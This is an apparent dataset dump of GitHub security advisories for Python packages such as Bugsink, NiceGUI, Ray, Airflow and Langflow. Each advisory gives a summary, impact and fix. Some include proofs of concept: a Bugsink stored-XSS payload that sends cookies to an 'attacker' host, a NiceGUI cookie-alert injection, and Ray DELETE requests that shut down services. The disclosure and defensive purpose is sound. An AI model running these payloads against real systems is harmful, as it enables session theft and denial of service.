deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-38wq-6q2w-hcf9
Package: rucio-webui (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-204: Observable Response Discrepancy
Vulnerable versions: < 35.8.3
Patched in: 35.8.3

Summary: Rucio WebUI has Username Enumeration via Login Error Message

Details:
### Summary
The WebUI login endpoint returns distinct error messages depending on whether a supplied username exists, allowing unauthenticated attackers to enumerate valid usernames.

### Details
When submitting invalid credentials to `/ui/login`, the WebUI responds with different error messages based on the existence of the provided username (identity). A non-existent username results in an error indicating that no account is associated with the identity, while an existing username with an incorrect password produces a different authentication-related error.

This behavioral difference allows an attacker to distinguish valid usernames from invalid ones by observing the response content.

### Proof of Concept
**Bogus Login (Non-existent Username "15251087")**  
Response contains:
```
Cannot get find any account associated with 15251087 identity.
```

**Bogus Login (Existing Username "root", Wrong Password)**  
Response contains:
```
Cannot get auth token. It is possible that the presented identity root is not mapped to any Rucio account root.
```

The difference in error messages confirms whether a username exists.

### Impact
An unauthenticated attacker can enumerate valid usernames, which may be leveraged for targeted password guessing, credential stuffing, or social engineering attacks.

### Remediation / Mitigation
Return a generic authentication failure message for all login errors, regardless of whether the username exists. Avoid disclosing account or identity existence through error responses. Consider implementing rate limiting or additional login throttling to further reduce abuse.

#### Reources:
- OWASP Authentication Cheat Sheet -  Authentication and Error Messages: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#authentication-and-error-messages
GitHub Security Advisory: GHSA-hg58-x52p-859c
Package: datapizza-ai-core (PIP)
Severity: LOW (CVSS 4.6)
CWE: CWE-20: Improper Input Validation, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.0.7
Patched in: unpatched

Summary: datapizza-ai has unsafe deserialization via pickle.loads() in RedisCache

Details:
A vulnerability has been found in datapizza-labs datapizza-ai 0.0.7. Affected by this vulnerability is the function RedisCache of the file datapizza-ai-cache/redis/datapizza/cache/redis/cache.py. Such manipulation leads to deserialization. The attack requires being on the local network. A high complexity level is associated with this attack. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-q5xx-fxv3-xxqf
Package: datapizza-ai-core (PIP)
Severity: LOW (CVSS 4.7)
CWE: CWE-791: Incomplete Filtering of Special Elements, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: <= 0.0.2
Patched in: unpatched

Summary: datapizza-ai: Server-Side Template Injection in ChatPromptTemplate via Jinja2 Template Handler

Details:
A flaw has been found in datapizza-labs datapizza-ai 0.0.2. Affected is the function ChatPromptTemplate of the file datapizza-ai-core/datapizza/modules/prompt/prompt.py of the component Jinja2 Template Handler. This manipulation of the argument Prompt causes improper neutralization of special elements used in a template engine. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-2rw7-x74f-jg35
Package: pypdf (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: < 6.7.2
Patched in: 6.7.2

Summary: pypdf has a possible infinite loop when loading circular /Prev entries in cross-reference streams

Details:
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading the file.

### Patches

This has been fixed in [pypdf==6.7.2](https://github.com/py-pdf/pypdf/releases/tag/6.7.2).

### Workarounds

If users cannot upgrade yet, consider applying the changes from PR [#3655](https://github.com/py-pdf/pypdf/pull/3655).
GitHub Security Advisory: GHSA-vp6q-7m36-pq3w
Package: bugsink (PIP)
Severity: CRITICAL (CVSS 9.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.0.12
Patched in: 2.0.13

Summary: Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

Details:
### Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

### Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

```python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
```

### Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

```
"Pygments line count mismatch, falling back to unformatted code"
```

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.


### PoC

Send a Sentry event to `/api/<project-id>/store/` with a valid DSN:

```python
import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

### Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
* The Bugsink ingest endpoint is reachable to the attacker.
* An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.
GitHub Security Advisory: GHSA-gfw7-2v73-69wg
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: >= 3.0.0b1, < 3.1.5rc1
Patched in: 3.1.5rc1

Summary: Apache Airflow error reporting may expose full kwargs

Details:
When a DAG failed during parsing, Airflow’s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG. 

The issue has been fixed in Airflow 3.1.5rc1 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.
GitHub Security Advisory: GHSA-gfw7-2v73-69wg
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: < 2.11.1
Patched in: 2.11.1

Summary: Apache Airflow error reporting may expose full kwargs

Details:
When a DAG failed during parsing, Airflow’s error-reporting in the UI could include the full kwargs passed to the operators. If those kwargs contained sensitive values (such as secrets), they might be exposed in the UI tracebacks to authenticated users who had permission to view that DAG. 

The issue has been fixed in Airflow 3.1.5rc1 and 2.11.1, and users are strongly advised to upgrade to prevent potential disclosure of sensitive information.
GitHub Security Advisory: GHSA-78qv-3mpx-9cqq
Package: nicegui (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 3.7.1
Patched in: 3.8.0

Summary: NiceGUI vulnerable to XSS via Code Injection during client-side element function execution

Details:
### Summary

Several NiceGUI APIs that execute methods on client-side elements (`Element.run_method()`, `AgGrid.run_grid_method()`, `EChart.run_chart_method()`, and others) use an `eval()` fallback in the JavaScript-side `runMethod()` function. When user-controlled input is passed as the method name, an attacker can inject arbitrary JavaScript that executes in the victim's browser.

Additionally, `Element.run_method()` and `Element.get_computed_prop()` used string interpolation instead of `json.dumps()` for the method/property name, allowing quote injection to break out of the intended string context.

### Attack Vector

An attacker crafts a malicious URL with a payload as a query parameter. If the application passes this parameter as a method name to any of the affected APIs, the payload is sent to the client via WebSocket and executed via `eval()`.

**Example:** `/?method=alert(document.cookie)` combined with application code like:
```python
element.run_method(user_provided_method_name)
```

### Impact

- Cookie/token theft
- DOM manipulation (phishing, fake login forms)
- Actions performed as the victim user

### Affected Methods

1. `Element.run_method()`
2. `Element.get_computed_prop()`
3. `AgGrid.run_grid_method()`
4. `AgGrid.run_row_method()`
5. `EChart.run_chart_method()`
6. `JsonEditor.run_editor_method()`
7. `Xterm.run_terminal_method()`
8. `Leaflet.run_map_method()`
9. `Leaflet.run_layer_method()`
10. `LeafletLayer.run_method()`

### Fix

1. Use `json.dumps()` for proper escaping of method/property names in `run_method()` and `get_computed_prop()`
2. Remove the `eval()` fallback from `runMethod()` in `nicegui.js` — method names that are not found on the element now raise an error instead of being evaluated as arbitrary JavaScript

### Migration

Code that previously passed JavaScript functions as method names needs to use `ui.run_javascript()` instead:

```python
# Before:
row = await grid.run_grid_method('g => g.getDisplayedRowAtIndex(0).data')

# After:
row = await ui.run_javascript(f'return getElement({grid.id}).api.getDisplayedRowAtIndex(0).data')
```
GitHub Security Advisory: GHSA-7c2f-r6gc-h92h
Package: apache-airflow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: < 2.11.1
Patched in: 2.11.1

Summary: Apache Airflow proxy credentials for various providers might leak in task logs

Details:
In Apache Airflow versions before 3.1.6, and 2.11.1 the proxies and proxy fields within a Connection may include proxy URLs containing embedded authentication information. These fields were not treated as sensitive by default and therefore were not automatically masked in log output. As a result, when such connections are rendered or printed to logs, proxy credentials embedded in these fields could be exposed.

Users are recommended to upgrade to 3.1.6 or later for Airflow 3, and 2.11.1 or later for Airflow 2 which fixes this issue.
GitHub Security Advisory: GHSA-7c2f-r6gc-h92h
Package: apache-airflow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: >= 3.0.0b1, < 3.1.6
Patched in: 3.1.6

Summary: Apache Airflow proxy credentials for various providers might leak in task logs

Details:
In Apache Airflow versions before 3.1.6, and 2.11.1 the proxies and proxy fields within a Connection may include proxy URLs containing embedded authentication information. These fields were not treated as sensitive by default and therefore were not automatically masked in log output. As a result, when such connections are rendered or printed to logs, proxy credentials embedded in these fields could be exposed.

Users are recommended to upgrade to 3.1.6 or later for Airflow 3, and 2.11.1 or later for Airflow 2 which fixes this issue.
GitHub Security Advisory: GHSA-j3wr-m6xh-64hg
Package: llama-index-core (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-755: Improper Handling of Exceptional Conditions, CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: < 0.12.6
Patched in: 0.12.6

Summary: LlamaIndex Improper Handling of Exceptional Conditions vulnerability

Details:
A vulnerability in the LangChainLLM class of the run-llama/llama_index repository, version v0.12.5, allows for a Denial of Service (DoS) attack. The stream_complete method executes the llm using a thread and retrieves the result via the get_response_gen method of the StreamingGeneratorCallbackHandler class. If the thread terminates abnormally before the _llm.predict is executed, there is no exception handling for this case, leading to an infinite loop in the get_response_gen function. This can be triggered by providing an input of an incorrect type, causing the thread to terminate and the process to continue running indefinitely.
GitHub Security Advisory: GHSA-9fww-8cpr-q66r
Package: isso (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: < 0.13.2
Patched in: 0.13.2

Summary: Isso affected by Stored XSS via comment website field

Details:
## Impact

This is a stored Cross-Site Scripting (XSS) vulnerability affecting the website and author comment fields. The website field was HTML-escaped using quote=False, which left single and double quotes unescaped. Since the frontend inserts the website value directly into a single-quoted href attribute via string concatenation, a single quote in the URL breaks out of the attribute context, allowing injection of arbitrary event handlers (e.g. onmouseover, onclick).

The same escaping was missing entirely from the user-facing comment edit endpoint (PUT /id/<id>) and the moderation edit endpoint (POST /id/<id>/edit/<key>).

Any visitor to a page embedding isso comments is impacted. No authentication or interaction beyond mouse movement is required to trigger a payload — an attacker can post a comment anonymously (moderation is off by default) with a crafted website URL, and the payload persists in the database and fires on every page load. With the full-page invisible overlay technique described in the report, the victim only needs to move their mouse.

## Patches

The issue is fixed in commit 3cf27c2. Users should upgrade to a version containing that commit once released. The fix applies html.escape(..., quote=True) to the website field across all three write paths (POST /new, PUT /id/<id>, POST /id/<id>/edit/<key>), and adds input validation and escaping to the moderation edit endpoint which previously had neither.

## Workarounds

  Enabling comment moderation (moderation = enabled = true in isso.cfg) prevents unauthenticated users from publishing comments, raising the bar for exploitation. However, it
  does not fully mitigate the issue since a moderator activating a malicious comment would still expose visitors. There is no configuration-only workaround that fully prevents
   the vulnerability.

## Resources

  - https://docs.python.org/3/library/html.html#html.escape — note the quote parameter
GitHub Security Advisory: GHSA-qv8j-hgpc-vrq8
Package: google-cloud-aiplatform (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 1.98.0, < 1.131.0
Patched in: 1.131.0

Summary: Google Cloud Vertex AI SDK affected by Stored Cross-Site Scripting (XSS)

Details:
Stored Cross-Site Scripting (XSS) in the _genai/_evals_visualization component of Google Cloud Vertex AI SDK (google-cloud-aiplatform) versions from 1.98.0 up to (but not including) 1.131.0 allows an unauthenticated remote attacker to execute arbitrary JavaScript in a victim's Jupyter or Colab environment via injecting script escape sequences into model evaluation results or dataset JSON data.
GitHub Security Advisory: GHSA-wh2j-26j7-9728
Package: google-cloud-aiplatform (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-340: Generation of Predictable Numbers or Identifiers
Vulnerable versions: >= 1.21.0, < 1.133.0
Patched in: 1.133.0

Summary: Google Cloud Vertex AI has a a vulnerability involving predictable bucket naming

Details:
Predictable bucket naming in Vertex AI Experiments in Google Cloud Vertex AI from version 1.21.0 up to (but not including) 1.133.0 on Google Cloud Platform allows an unauthenticated remote attacker to achieve cross-tenant remote code execution, model theft, and poisoning via pre-creating predictably named Cloud Storage buckets (Bucket Squatting).

This vulnerability was patched and no customer action is needed.
GitHub Security Advisory: GHSA-hvjw-vp7g-39h5
Package: nemo-toolkit (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 2.6.1
Patched in: 2.6.1

Summary: NVIDIA NeMo Framework Deserializes Untrusted Data

Details:
NVIDIA NeMo Framework contains a vulnerability where an attacker could cause remote code execution by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering.
GitHub Security Advisory: GHSA-9379-mwvr-7wxx
Package: nemo-toolkit (PIP)
Severity: HIGH (CVSS 8.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 2.6.1
Patched in: 2.6.1

Summary: NVIDIA NeMo Framework contains a vulnerability where malicious data could cause remote code execution

Details:
NVIDIA NeMo Framework contains a vulnerability where malicious data could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
GitHub Security Advisory: GHSA-q5fh-2hc8-f6rq
Package: ray (PIP)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-306: Missing Authentication for Critical Function, CWE-396: Declaration of Catch for Generic Exception
Vulnerable versions: < 2.54.0
Patched in: 2.54.0

Summary: Ray dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)

Details:
### Summary

  Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can
  issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.

  ### Details

  - Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.
  - Endpoints lacking browser protection/auth by default:
      - python/ray/dashboard/modules/serve/serve_head.py: @routes.delete("/api/serve/applications/") calls serve.shutdown().
      - python/ray/dashboard/modules/job/job_head.py: @routes.delete("/api/jobs/{job_or_submission_id}").
      - python/ray/dashboard/modules/job/job_agent.py: @routes.delete("/api/job_agent/jobs/{job_or_submission_id}") (not wrapped with deny_browser_requests either).
  - Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.

  ### PoC

  Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.

  1. Start Serve (or have jobs present).
  2. From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:

```  
fetch("http://<dashboard-host>:8265/api/serve/applications/", {
    method: "DELETE",
    headers: { "User-Agent": "Mozilla/5.0" }  // browsers set this automatically
  });
```

  Result: Serve shuts down.
  3) Similarly, delete jobs:

 ` fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });`
 ` fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });`

  Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.

  ### Impact

  - Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).
  - No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints.
  
### Fix
The fix for this vulnerability is to update to Ray 2.54.0 or higher. 

Fix PR: https://github.com/ray-project/ray/pull/60526
GitHub Security Advisory: GHSA-g22f-v6f7-2hrh
Package: langflow (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Vulnerable versions: <= 1.7.3
Patched in: unpatched

Summary: Langflow affected by Remote Code Execution via validate_code() exec()

Details:
Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.
GitHub Security Advisory: GHSA-68rp-wp8r-4726
Package: flask (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-524: Use of Cache Containing Sensitive Information
Vulnerable versions: < 3.1.3
Patched in: 3.1.3

Summary: Flask session does not add `Vary: Cookie` header when accessed in some ways

Details:
When the `session` object is accessed, Flask should set the `Vary: Cookie` header. This instructs caches not to cache the response, as it may contain information specific to a logged in user. This is handled in most cases, but some forms of access such as the Python `in` operator were overlooked.

The severity depends on the application's use of the session, and the cache's behavior regarding cookies. The risk depends on all these conditions being met.

1. The application must be hosted behind a caching proxy that does not ignore responses with cookies.
2. The application does not set a `Cache-Control` header to indicate that a page is private or should not be cached.
3. The application accesses the session in a way that does not access the values, only the keys, and does not mutate the session.